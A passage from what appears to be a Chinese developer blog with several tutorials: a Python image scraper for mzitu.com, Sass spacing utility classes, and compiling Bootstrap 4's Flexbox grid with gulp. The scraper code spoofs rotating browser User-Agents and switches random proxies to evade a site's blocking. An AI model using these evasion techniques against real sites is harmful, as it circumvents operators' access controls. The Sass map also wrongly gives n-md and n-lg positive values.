"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"
]

def get(self, url, timeout, proxy=None, num_retries=6): ##给函数一个默认参数proxy为空
UA = random.choice(self.user_agent_list) ##从self.user_agent_list中随机取出一个字符串
headers = {'User-Agent': UA} ##构造成一个完整的User-Agent (UA代表的是上面随机取出来的字符串哦)

if proxy == None: ##当代理为空时,不使用代理获取response(别忘了response啥哦!之前说过了!!)
try:
return requests.get(url, headers=headers, timeout=timeout)##这样服务器就会以为我们是真的浏览器了
except:##如过上面的代码执行报错则执行下面的代码

if num_retries > 0: ##num_retries是我们限定的重试次数
time.sleep(10) ##延迟十秒
print(u'获取网页出错,10S后将获取倒数第:', num_retries, u'次')
return self.get(url, timeout, num_retries-1) ##调用自身 并将次数减1
else:
print(u'开始使用代理')
time.sleep(10)
IP = ''.join(str(random.choice(self.iplist)).strip()) ##下面有解释哦
proxy = {'http': IP}
return self.get(url, timeout, proxy,) ##代理不为空的时候

else: ##当代理不为空
try:
IP = ''.join(str(random.choice(self.iplist)).strip()) ##将从self.iplist中获取的字符串处理成我们需要的格式(处理了些什么自己看哦,这是基础呢)
proxy = {'http': IP} ##构造成一个代理
return requests.get(url, headers=headers, proxies=proxy, timeout=timeout) ##使用代理获取response
except:

if num_retries > 0:
time.sleep(10)
IP = ''.join(str(random.choice(self.iplist)).strip())
proxy = {'http': IP}
print(u'正在更换代理,10S后将重新获取倒数第', num_retries, u'次')
print(u'当前代理是:', proxy)
return self.get(url, timeout, proxy, num_retries - 1)
else:
print(u'代理也不好使了!取消代理')
return self.get(url, 3)

request = download() ##

这个模块就多了 request = download() 第二个(def mzitu.py):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from bs4 import BeautifulSoup
import os
from Download import request ##导入模块变了一下
from pymongo import MongoClient

class mzitu():


def all_url(self, url):

html = request.get(url, 3) ##这儿更改了一下(是不是发现 self 没见了?)
all_a = BeautifulSoup(html.text, 'lxml').find('div', class_='all').find_all('a')
for a in all_a:
title = a.get_text()
print(u'开始保存:', title)
path = str(title).replace("?", '_')
self.mkdir(path)
os.chdir("D:\mzitu\\"+path)
href = a['href']
self.html(href)

def html(self, href):
html = request.get(href, 3)##这儿更改了一下(是不是发现 self 没见了?)
max_span = BeautifulSoup(html.text, 'lxml').find_all('span')[10].get_text()
for page in range(1, int(max_span) + 1):
page_url = href + '/' + str(page)
self.img(page_url)

def img(self, page_url):
img_html = request.get(page_url, 3) ##这儿更改了一下(是不是发现 self 没见了?)
img_url = BeautifulSoup(img_html.text, 'lxml').find('div', class_='main-image').find('img')['src']
self.save(img_url)

def save(self, img_url):
name = img_url[-9:-4]
print(u'开始保存:', img_url)
img = request.get(img_url, 3) ##这儿更改了一下(是不是发现 self 没见了?)
f = open(name + '.jpg', 'ab')
f.write(img.content)
f.close()

def mkdir(self, path):
path = path.strip()
isExists = os.path.exists(os.path.join("D:\mzitu", path))
if not isExists:
print(u'建了一个名字叫做', path, u'的文件夹!')
os.makedirs(os.path.join("D:\mzitu", path))
return True
else:
print(u'名字叫做', path, u'的文件夹已经存在了!')
return False




Mzitu = mzitu() ##实例化
Mzitu.all_url('http://www.mzitu.com/all') ##给函数all_url传入参数 你可以当作启动爬虫(就是入口)

改动的地方我都有明确标注哦!仔细看看有什么不同吧。

HTML

需求分析

有需求才有动力! 写CSS的时候,你经常会遇到要设置一个小边距,比如设置: 所有内边距10px,外左边距20px,内右边距0,上下内边距50px,外左右边距自动…. 而你是不是又不想自己单独为它们定义一个class,然后把padding, margin之类的写进去? 举例如下: 现在我有两个p标签,我想让这两个p标签中间相隔10px,那是不是需要?

1
2
<p style="margin-bottom:10px">Hello</p>
<p>World</p>

又或者

1
2
3
4
5
6
<p class="m">Hello</p>
<p>World</p>

.m {
margin-bottom: 10px;
}

类似这样的情况多了去了,每次都要定个样式就为了解决个边距问题? 能忍吗?能忍吗?反正我是不能忍。改改改,燥起来!

协议规定

那么为了解决这么一个问题,我们首先要想好解决标准。

边距层级

首先边距问题,我们首先要定义这么几个层级: 极小、很小、小、正常、中等、大、很大、极大。 对应的边距划分为: 2px、5px、10px、15px、20px、30px、40px、50px。 那么代号就标记为: xxs、xs、sm、‘空’、md、lg、xl、xxl。 另外我们还有其他的样式,比如自动auto、初始化initial、继承inherit、无边距none。 那么代号标记为auto、ii、ih、none。 这样的划分基本可以满足需求。

简称划分

然后定义几个简称: 我们用到的单词有内边距、外边距、上下左右等,那么定义如下: padding->p、margin->m、right->r、left->l、top->t、bottom->b、horizontal->h、vertical->v。 其中horizontal和vertical指代水平方向和垂直方向,也就是同时设置左右或者同时设置上下。 当然不能忽略了反向边距,比如外边距是负10px,这个也需要用一个简称,我们定义为n,是反向的意思。 如此一来,所有的简称和边距就规定好了。

实例说明

通过上面的层级关系和简称划分,我们可以对他们进行自由组合,形成一个个class样式。比如: .p-t-xs 即为上内边距是5px,.p-h-md 即为左右内边距是20px,.p-b-n-lg 即为下内边距是-30px, .p-r-xxl 即为右内边距是50px,.p-t 即为上内边距为正常边距15px(正常边距省略即可),.p-n 即为内边距是-15px。 .p-v-n 即为上下内边距是-15px,.m-h-auto 即为水平左右外边距是自动auto, .m-t-ii 即为上外边距是初始化initial。 .m-r-none 即为右外边距是0。 怎样?通过这样的定义,能不能找出规律?即 第一个字母p或者m,代表padding或者margin。 第二个字母代表方向,t上方、b下方、l左方、r右方、v上方和下方、h左方和右方。 第三个(组)字母代表距离,xs是+2px,n-lg是-30px,空是自动边距15px,n是反向正常值-15px,ii是初始化,none是无,auto是自动边距。 怎样?有了这些定义,我们是不是就能非常方便地设置边距样式了?刚才的边距怎样解决?很简单,只需要

1
2
<p class="m-b-sm">Hello</p>
<p>World</p>

如果一个网页里有很多样式,那只需要把整个样式文件引入,自由地添加class就好了。

编写Sass

这么多组合呢?写CSS不累死了?检查也不好检查。 怎么办?上Sass! 首先我们先定义一层映射,边距映射:

1
2
$map: (none: 0, auto: auto, ii: initial, ih: inherit, xxs: 2px, xs: 5px, sm: 10px, '': 15px, md: 20px, lg: 30px, xl: 40px, xxl: 50px,
n-xxs: -2px, n-xs: -5px, n-sm: -10px, n: -15px, n-md: 20px, n-lg: 30px, n-xl: -40px, n-xxl: -50px);

这里定义了所有的边距和它的简称。 然后我们尝试写一下padding的函数,遍历一下:

1
2
3
4
5
@each $style, $padding in $map {
.p-#{$style} {
padding: $padding !important;
}
}

这,那空的咋办? 不能留个下划线啊。判断一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@function line($style) {
@if $style != '' {
@return '-';
} @else {
@return '';
}
}

@each $style, $padding in $map {
$line: line($style);
.p#{line}#{$style} {
padding: $padding !important;
}
}

这样我们就生成了所有padding边距的设置。 好接下来设置下水平和垂直边距吧,这个就需要两句话了,比如设置水平你得写padding-left 和 padding-right。 有的小伙伴说了,可以直接写一个啊,比如 padding: 0 20px 就可以,不过这样你同时设置了上下边距。即便上下边距我们设置成inherit或者什么其他的,那也多多少少在某种情况下产生影响。 所以这里我们直接分开,而且就算不分开,你之前的映射就要修改,还是麻烦的。 所以这里定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@each $style, $padding in $map {
$line: line($style);
.p-v#{$line}#{$style} {
padding-top: $padding !important;
padding-bottom: $padding !important;
}
}

@each $style, $padding in $map {
$line: line($style);
.p-h#{$line}#{$style} {
padding-left: $padding !important;
padding-right: $padding !important;
}
}

那最后,单边距的定义如下,我们给它加个循环:

1
2
3
4
5
6
7
8
9
$directions: (t: top, b: bottom, l: left, r:right);
@each $d-key, $d-value in $directions {
@each $style, $padding in $map {
$line: line($style);
.p-#{$d-key}#{$line}#{$style} {
padding-#{$d-value}: $padding !important;
}
}
}

如此一来,padding的就写好了! 那么margin的怎么办?很简单,再加一层循环,最终代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
@function line($style) {
@if $style != '' {
@return '-';
} @else {
@return '';
}
}

$map: (none: 0, auto: auto, ii: initial, ih: inherit, xxs: 2px, xs: 5px, sm: 10px, '': 15px, md: 20px, lg: 30px, xl: 40px, xxl: 50px,
n-xxs: -2px, n-xs: -5px, n-sm: -10px, n: -15px, n-md: 20px, n-lg: 30px, n-xl: -40px, n-xxl: -50px);

$names: (m: margin, p: padding);
@each $n-key, $n-value in $names {
@each $style, $padding in $map {
$line: line($style);
.#{$n-key}#{$line}#{$style} {
#{$n-value}: $padding !important;
}
}

@each $style, $padding in $map {
$line: line($style);
.#{$n-key}-v#{$line}#{$style} {
#{$n-value}-top: $padding !important;
#{$n-value}-bottom: $padding !important;
}
}

@each $style, $padding in $map {
$line: line($style);
.#{$n-key}-h#{$line}#{$style} {
#{$n-value}-left: $padding !important;
#{$n-value}-right: $padding !important;
}
}

$directions: (t: top, b: bottom, l: left, r:right);
@each $d-key, $d-value in $directions {
@each $style, $padding in $map {
$line: line($style);
.#{$n-key}-#{$d-key}#{$line}#{$style} {
#{$n-value}-#{$d-value}: $padding !important;
}
}
}
}

如此一来,Sass便成功生成了。

编译

写完了那自然要编译一下咯,废话不多说上gulp。

1
2
3
4
5
6
7
8
9
10
11
12
13
gulp.task('styles', () => {
return gulp.src(path.sass)
.pipe(plumber())
.pipe(sourcemaps.init())
.pipe(sass({outputStyle: 'compressed'}).on('error', sass.logError))
.pipe(sourcemaps.write())
.pipe(autoprefixer({
browsers: ['last 2 versions'],
cascade: true,
remove: true
}))
.pipe(gulp.dest(path.dest.css));
});

或者你们有考拉编译器啊或者其他的都行,能编译就好。 生成的部分结果展示如下:

1
.m-none{margin:0 !important}.m-auto{margin:auto !important}.m-ii{margin:initial !important}.m-ih{margin:inherit !important}.m-xxs{margin:2px !important}.m-xs{margin:5px !important}.m-sm{margin:10px !important}.m{margin:15px !important}.m-md{margin:20px !important}.m-lg{margin:30px !important}.m-xl{margin:40px !important}.m-xxl{margin:50px !important}.m-n-xxs{margin:-2px !important}.m-n-xs{margin:-5px !important}.m-n-sm{margin:-10px !important}.m-n{margin:-15px !important}.m-n-md{margin:20px !important}.m-n-lg{margin:30px !important}.m-n-xl{margin:-40px !important}.m-n-xxl{margin:-50px !important}.m-v-none{margin-top:0 !important;margin-bottom:0 !important}.m-v-auto{margin-top:auto !important;margin-bottom:auto !important}.m-v-ii{margin-top:initial !important;margin-bottom:initial !important}.m-v-ih{margin-top:inherit !important;margin-bottom:inherit !important}.m-v-xxs{margin-top:2px !important;margin-bottom:2px !important}.m-v-xs{margin-top:5px !important;margin-bottom:5px !important}.m-v-sm{margin-top:10px !important;margin-bottom:10px !important}.m-v{margin-top:15px !important;margin-bottom:15px !important}.m-v-md{margin-top:20px !important;margin-bottom:20px !important}.m-v-lg{margin-top:30px !important;margin-bottom:30px !important}.m-v-xl{margin-top:40px !important;margin-bottom:40px !important}

具体的结果等你自己编译一下看看就好啦。

资源下载

当然有的小伙伴一定嫌麻烦,别急,我这都给你准备好了,编译好的结果放送给大家! pm.css pm.min.css 需要使用的小伙伴们直接在HTML代码中引入就好啦!

1
2
<link rel="stylesheet" href="http://res.cuiqingcai.com/css/pm.css">
<link rel="stylesheet" href="http://res.cuiqingcai.com/css/pm.min.css">

本文介绍了使用Sass自定义边距样式的流程,希望对大家有帮助!

HTML

前言

首先 Flexbox 是什么?它是 Bootstrap4 新出的一个布局格式,对移动端开发非常方便。 说一下我为什么要提取 Flexbox。有需求才有动力,首先是需求,最近在开发一个移动端适配的网站,使用了 materi-ui 框架,基于 React。使用 materi-ui 时,已经内置了许多样式,但是 bootstrap 的一些多余样式会影响一些现有样式,而那些样式对我又没啥用。另外 Flex 对于移动端布局开发非常适合,这次正好也拿来练练手。 移动端开发是趋势,随着移动端的发展,BootStrap 也出了新版本 4,不过现在还是 alpha 版本,还没正式推出。 其中一个比较大的改进便是 Flexbox Grid 系统。 BootStrap 原本最常用的布局栅格化系统在做响应式开发的时候比较方便,但是只针对于移动端开发的时候并没有多大用处了,流行的 Flex 布局应用越来越广泛。 在 Founation 中,看到过有了这种 Flex 布局,它就是适应手机开发的框架。后来 Bootstrap4 也增加了这块。 那么 Flexbox Grid 系统相比之前什么改进呢?请看官方文档实例。 Flexbox Grid P.S 别去上什么中文网,全是错误,实例结果有问题。不想吐槽,一开始我还以为是 Flexbox Grid 设计不科学。

准备工作

首先下载 BootStrap V4。 Bootstrap V4 目前最新版还是 alpha 版本,如链接失效,请移步官网。 BootStrap 然后你需要安装了 node,gulp,自行下载即可。 gulp

开始抽取

下载之后打开 Bootstrap 源代码文件夹,找到 scss 目录,可以看到如下的结构。 QQ20161029-0@2x mixins 是一些可调用的组件,本身编译不会产生任何结果。utilities 是一些公用的包,比如我们要抽取的 Flex 就在这里面。 外面的这么多是一些公用的基本组件。 通过官方文档可以发现:

If you’re familiar with modifying variables in Sass—or any other CSS preprocessor—you’ll be right at home to move into flexbox mode.

  1. Open the _variables.scss file and find the $enable-flex variable.
  2. Change it from false to true.
  3. Recompile, and done!

Alternatively, if you don’t need the source Sass files, you may swap the default Bootstrap compiled CSS with the compiled flexbox variation. Head to the download page for more information.

如果我们想要添加 Flex 组件,还需要将这个变量更改,即将$enable-flex 改成 true 才可以,默认是 false。 在源代码中我们可以发现已经有了一个 bootstrap-flex.scss 的文件,然而这里面发现直接引入了 bootstrap 的所有代码,这并不是我们想要的,它可能会复写一些基本样式,会影响我们的工程。我们想要的是单独把 Flex 部分抽离出来。 所以我们自己新建一个 bootstrap-flex.scss 的空文件。 首先将变量改为 true

1
$enable-flex: true;

然后阅读源码可以发现有两个公用的 scss 文件是必须引入的。 variables 和 breakpoints,我们先将他们引入。

1
2
@import "variables";
@import "breakpoints";

然后观察带有 flex 的代码,只发现了在 utilities 文件夹中有相关内容,跑不了了,那就是它,复制到同一路径,引入一下。

1
@import "flex";

不过发现这个文件里的样式颇少,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// Flex variation
//
// Custom styles for additional flex alignment options.

@if $enable-flex {
@each $breakpoint in map-keys($grid-breakpoints) {
// Flex column reordering
@include media-breakpoint-up($breakpoint) {
.flex-#{$breakpoint}-first { order: -1; }
.flex-#{$breakpoint}-last { order: 1; }
.flex-#{$breakpoint}-unordered { order: 0; }
}

// Alignment for every item
@include media-breakpoint-up($breakpoint) {
.flex-items-#{$breakpoint}-top { align-items: flex-start; }
.flex-items-#{$breakpoint}-middle { align-items: center; }
.flex-items-#{$breakpoint}-bottom { align-items: flex-end; }
}

// Alignment per item
@include media-breakpoint-up($breakpoint) {
.flex-#{$breakpoint}-top { align-self: flex-start; }
.flex-#{$breakpoint}-middle { align-self: center; }
.flex-#{$breakpoint}-bottom { align-self: flex-end; }
}

// Horizontal alignment of item
@include media-breakpoint-up($breakpoint) {
.flex-items-#{$breakpoint}-left { justify-content: flex-start; }
.flex-items-#{$breakpoint}-center { justify-content: center; }
.flex-items-#{$breakpoint}-right { justify-content: flex-end; }
.flex-items-#{$breakpoint}-around { justify-content: space-around; }
.flex-items-#{$breakpoint}-between { justify-content: space-between; }
}
}
}

这才多点啊?看官方实例明明用到了 row,col 这些样式好不好。再看看。 于是乎发现这些实际上也是依赖于原始的 grid 样式的。我们必须也要把它引入进来。 找找,发现了三个相关文件,拷贝过来,引入。

1
2
3
@import "mixins/grid";
@import "mixins/grid-framework";
@import "grid";

嗯,这下应该全了。 结构如下所示 QQ20161029-1@2x

编译代码

官方用的是 grunt 自动化工具,然而我用着并不习惯。在这里我们用到 gulp 来编译。 首先 npm init 初始化一个 package.json 引入一些包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
"devDependencies": {
"babel-core": "^6.3.26",
"babel-preset-es2015": "^6.16.0",
"babel-register": "^6.18.0",
"del": "^2.2.2",
"gulp": "^3.9.1",
"gulp-autoprefixer": "^3.1.1",
"gulp-babel": "^6.1.2",
"gulp-plumber": "^1.1.0",
"gulp-postcss": "^6.2.0",
"gulp-sass": "^2.3.2",
"gulp-sourcemaps": "^2.2.0",
"postcss-scss": "^0.3.1"
}

整体的结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{
"name": "bootstrap-flex",
"version": "1.0.0",
"description": "BootStrap Flex",
"main": "gulpfile.babel.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "Germey",
"license": "MIT",
"devDependencies": {
"babel-core": "^6.3.26",
"babel-preset-es2015": "^6.16.0",
"babel-register": "^6.18.0",
"del": "^2.2.2",
"gulp": "^3.9.1",
"gulp-autoprefixer": "^3.1.1",
"gulp-babel": "^6.1.2",
"gulp-plumber": "^1.1.0",
"gulp-postcss": "^6.2.0",
"gulp-sass": "^2.3.2",
"gulp-sourcemaps": "^2.2.0",
"postcss-scss": "^0.3.1"
}
}

执行

1
npm install

安装一下 node_modules。 然后生成一个.babelrc 文件,因为我们要用 es2015 的语法,内容。

1
2
3
4
5
{
"presets": [
"es2015"
]
}

然后写一下 gulpfile.babel.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import gulp       from 'gulp';
import plumber from 'gulp-plumber';
import sass from 'gulp-sass';
import sourcemaps from 'gulp-sourcemaps';
import del from 'del';
import autoprefixer from 'gulp-autoprefixer';
const source = ['sass/**/*.scss'];
const dest = 'dist/css/';

gulp.task('sass', () => {
return gulp.src(source)
.pipe(plumber())
.pipe(sourcemaps.init())
.pipe(sass({outputStyle: 'compressed'}).on('error', sass.logError))
.pipe(sourcemaps.write())
.pipe(autoprefixer({
browsers: ['last 2 versions'],
cascade: true,
remove: true
}))
.pipe(gulp.dest(dest));
});

gulp.task('clean', del.bind(null, ['dist']));

gulp.task('build', ['sass', 'watch'])

gulp.task('watch', () => {
gulp.watch(source, ['sass']);
});

gulp.task('default', ['clean'], () => {
gulp.start('build');
});

比较简单,用到的有 sass, sourcemaps, autoprefixer 这几个比较常用的包。 执行

1
gulp

观察下结果。

1
2
3
4
5
6
7
8
9
10
11
12
[18:46:38] Requiring external module babel-register
[18:46:38] Using gulpfile /private/var/www/flex/gulpfile.babel.js
[18:46:38] Starting 'clean'...
[18:46:38] Finished 'clean' after 8.12 ms
[18:46:38] Starting 'default'...
[18:46:38] Starting 'sass'...
[18:46:38] Starting 'watch'...
[18:46:38] Finished 'watch' after 9.63 ms
[18:46:38] Finished 'default' after 25 ms
[18:46:39] Finished 'sass' after 312 ms
[18:46:39] Starting 'build'...
[18:46:39] Finished 'build' after 2.41 μs

恩,没什么问题。可以看到 dist 文件夹下生成了一个文件叫做 bootstrap-flex.css。

测试用例

恩接下来我们来测试一下官方实例是否正常。 新建一个 index.html 内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<link rel="stylesheet" href="dist/css/bootstrap-flex.css">
</head>
<body>
<div class="container">
<div class="row">
<div class="col-xs">
1 of 2
</div>
<div class="col-xs">
1 of 2
</div>
</div>
<div class="row">
<div class="col-xs">
1 of 3
</div>
<div class="col-xs">
1 of 3
</div>
<div class="col-xs">
1 of 3
</div>
</div>

</div>
<div class="container">
<div class="row">
<div class="col-xs">
1 of 3
</div>
<div class="col-xs-6">
2 of 3 (wider)
</div>
<div class="col-xs">
3 of 3
</div>
</div>
<div class="row">
<div class="col-xs">
1 of 3
</div>
<div class="col-xs-5">
2 of 3 (wider)
</div>
<div class="col-xs">
3 of 3
</div>
</div>
</div>
<div class="container">
<div class="row">
<div class="col-xs">
1 of 3
</div>
<div class="col-xs-6">
2 of 3 (wider)
</div>
<div class="col-xs">
3 of 3
</div>
</div>
<div class="row">
<div class="col-xs">
1 of 3
</div>
<div class="col-xs-5">
2 of 3 (wider)
</div>
<div class="col-xs">
3 of 3
</div>
</div>
</div>
<div class="container">
<div class="row flex-items-xs-top">
<div class="col-xs">
One of three columns
</div>
<div class="col-xs">
One of three columns
</div>
<div class="col-xs">
One of three columns
</div>
</div>
<div class="row flex-items-xs-middle">
<div class="col-xs">
One of three columns
</div>
<div class="col-xs">
One of three columns
</div>
<div class="col-xs">
One of three columns
</div>
</div>
<div class="row flex-items-xs-bottom">
<div class="col-xs">
One of three columns
</div>
<div class="col-xs">
One of three columns
</div>
<div class="col-xs">
One of three columns
</div>
</div>
</div>
<div class="container">
<div class="row flex-items-xs-left">
<div class="col-xs-4">
One of two columns
</div>
<div class="col-xs-4">
One of two columns
</div>
</div>
<div class="row flex-items-xs-center">
<div class="col-xs-4">
One of two columns
</div>
<div class="col-xs-4">
One of two columns
</div>
</div>
<div class="row flex-items-xs-right">
<div class="col-xs-4">
One of two columns
</div>
<div class="col-xs-4">
One of two columns
</div>
</div>
<div class="row flex-items-xs-around">
<div class="col-xs-4">
One of two columns
</div>
<div class="col-xs-4">
One of two columns
</div>
</div>
<div class="row flex-items-xs-between">
<div class="col-xs-4">
One of two columns
</div>
<div class="col-xs-4">
One of two columns
</div>
</div>
</div>
<div class="container">
<div class="row">
<div class="col-xs flex-xs-unordered">
First, but unordered
</div>
<div class="col-xs flex-xs-last">
Second, but last
</div>
<div class="col-xs flex-xs-first">
Third, but first
</div>
</div>
</div>
<style>
.row {
margin-top: 1rem;
}
.row > [class^="col-"] {
padding-top: .75rem;
padding-bottom: .75rem;
background-color: rgba(86, 61, 124, 0.15);
border: 1px solid rgba(86, 61, 124, 0.2);
}
.flex-items-xs-top, .flex-items-xs-middle,.flex-items-xs-bottom {
min-height: 6rem;
background-color: rgba(255, 0, 0, 0.1);
}
</style>

</body>
</html>

我把官方实例拿过来测试一下。 结果如下所示 QQ20161029-0 恩,完美! 至于这个布局的用法,那就去官方文档领悟吧,和之前的 bootstrap 栅格化布局有比较大的不同。 不过如果你看了实例之后,就会豁然开朗了。

代码

本用例代码已上传到 GitHub。 代码实例 有兴趣的小伙伴可以下载测试。

结语

本文讲解了利用抽取 Bootstrap V4 中的 Flex 布局方式以及用 gulp 重新编译 Bootstrap 的过程,希望对大家有帮助。

Python

2018 年 12 月 11 日 入口页面多了一个连接 早期图片 更新了处理过后的代码(删掉了早期图片的 URL,大家可以自己尝试下载这个页面下的所有套图) 2017 年 8 月 30 日:mzitu.com 更新了防盗链导致下载图片全部失效,已更新处理办法: scrapy 版本也已更新 2017 年 4 月 24 日:用 scrapy 重写了一个 mzitu 的全站爬虫: 小白进阶之 Scrapy 第四篇(图片下载管道篇) 2017 年 3 月 31 号 更新 http://www.mzitu.com/all 这个地址已经被站长屏蔽了。下面的代码没法使了哦!仅提供学习方法。 PS:更改了一个新手比较难理解的坑(切换目录的问题),大陆之外的小伙伴儿 需要翻墙,mzitu.com 对大陆之外好像不可访问。倒数第四个代码块儿是 没有函数的脚本写法,看函数有困难的小伙伴儿,可以先看看这个。 这是一篇完全给新手写的爬虫教程、也是我第一次写博文···也不知道怎么写(我也是个菜鸟啊!各路大神拍砖轻点儿啊!)QQ图片20161021223818由于经常在群里装逼加上群主懒啊(你看有多久没更新文章就知道了),让我来一篇爬虫的教程。QQ图片20161021224219如此装逼机会怎么能错过,今天我来给大家来一篇基础爬虫教程。 你要问目标是啥? 要知道 XX 才是学习最大的动力啊!所以目标就是 mzitu.com , QQ图片20161021224731(废话真多还不开始) , 下面请各位跟我的教程一步一步走,喂!!说的就是你啊!别看着了,照着教程做啊!9555112 1、基础环境部分: 工欲其事必先利器,要想把心爱的妹子搬进你的给她准备的房子,总得有几把斧子才行啊!下面这就是几把斧子! 1.1:Python 基础运行环境:本篇教程采用 Python3 来写,所以你需要给你的电脑装上 Python3 才行,我就说说 Windows 的环境(会玩 Linux 的各位应该不需要我多此一举了)。 anaconda (点我下载)(这是一个 Python 的科学计算发行版本,作者打包好多好多的包, QQ图片20161021230903不知道干啥的没关系,你只需要知道拥有它之后,那些 Windows 下 pip 安装包报错的问题将不复存在) 下载不顺利的同学我已经传到百度云了:http://pan.baidu.com/s/1boAYaTL 1.2:Requests urllib 的升级版本打包了全部功能并简化了使用方法(点我查看官方文档1.3: beautifulsoup 是一个可以从 HTML 或 XML 文件中提取数据的 Python 库.它能够通过你喜欢的转换器实现惯用的文档导航,查找,修改文档的方式.(点我查看官方文档)(QQ图片20161022193315作为一个菜鸟就别去装逼用 正则表达式了,匹配不到想要的内容,容易打击积极性。老老实实的用beautifulsoup 吧!虽然性能差了点、但是你会爱上它的。) 1.4:LXML 一个 HTML 解析包 用于辅助 beautifulsoup 解析网页(如果你不用 anaconda,你会发现这个包在 Windows 下 pip 安装报错,QQ图片20161021230903用了就不会啦。)。 上面的模块需要 单独安装,下面几个就不用啦。 1.5: OS 系统内置模块 下面是IDE 你喜欢用什么就用什么啦! 1.6: PyCharm 一个草鸡好用的 PythonIDE 工具 、真滴!草鸡好用··(我是下载地址)试用三十天 足够完成这个小爬虫啦。(如果你电脑已经存在 Python 环境 又需要使用 anaconda 的话,请按照下面的图设置一下哦!) QQ图片20161022200505 好啦、下面开始安装需要的模块。 因为我安装的是anaconda这个科学计算的发行版,安装方式是酱紫滴:conda install 包名(当然 pip install 包名也是可以的哦!)

1
2
3
4
5
6
7
conda install requests
conda install beautifulsoup4
conda install lxml
或者
pip install requests
pip install beautifulsoup4
pip install lxml

QQ图片20161022200031 大概界面就是上面的样子了。其余类似安装即可,好啦 下面开始正题了 首先我们打开 PyCharm 新建一个 Python 文件,写入以下代码(喂喂!不要复制哦 自己敲一遍 印象更佳啦。)

1
2
3
import requests ##导入requests
from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup
import os

好啦!准备工作完了、 我们来开始让妹子到碗里来吧ヽ(●-`Д´-)ノ 一个简单爬虫的诞生大慨需要下面几个步骤。(我知道图很简陋、请务必不要吐槽) QQ20161029-1

  • 爬虫入口:顾名思义我需要程序从什么地方开始获取网页
  • 存储数据:如果获取的网页有你需要的内容则取出数据保存
  • 找到资料所在的地址:如果你你获取到的网页没有你需要的数据、但是有前往该数据页面的地址 URL、则获取这个地址 URL,再获取该 URL 的页面内容(也就等于当作爬虫入口了)

好啦!图很简陋、将就着看看,现在来开始看看网页找一个爬虫入口(开始爬取的页面) QQ截图20161023150410 良心站长啊!居然有一个页面有整站所有的数据地址是http://www.mzitu.com/all 我们就以这个页面开始爬取(PS:真良心站长) 下面是我们的第一段代码:用作获取http://www.mzitu.com/all这个页面。

1
2
3
4
5
6
7
8
import requests ##导入requests
from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup
import os

headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头(大部分网站没有这个请求头会报错、请务必加上哦)
all_url = 'http://www.mzitu.com/all' ##开始的URL地址
start_html = requests.get(all_url, headers=headers) ##使用requests中的get方法来获取all_url(就是:http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释
print(start_html.text) ##打印出start_html (请注意,concent是二进制的数据,一般用于下载图片、视频、音频、等多媒体内容是才使用concent, 对于打印网页内容请使用text)

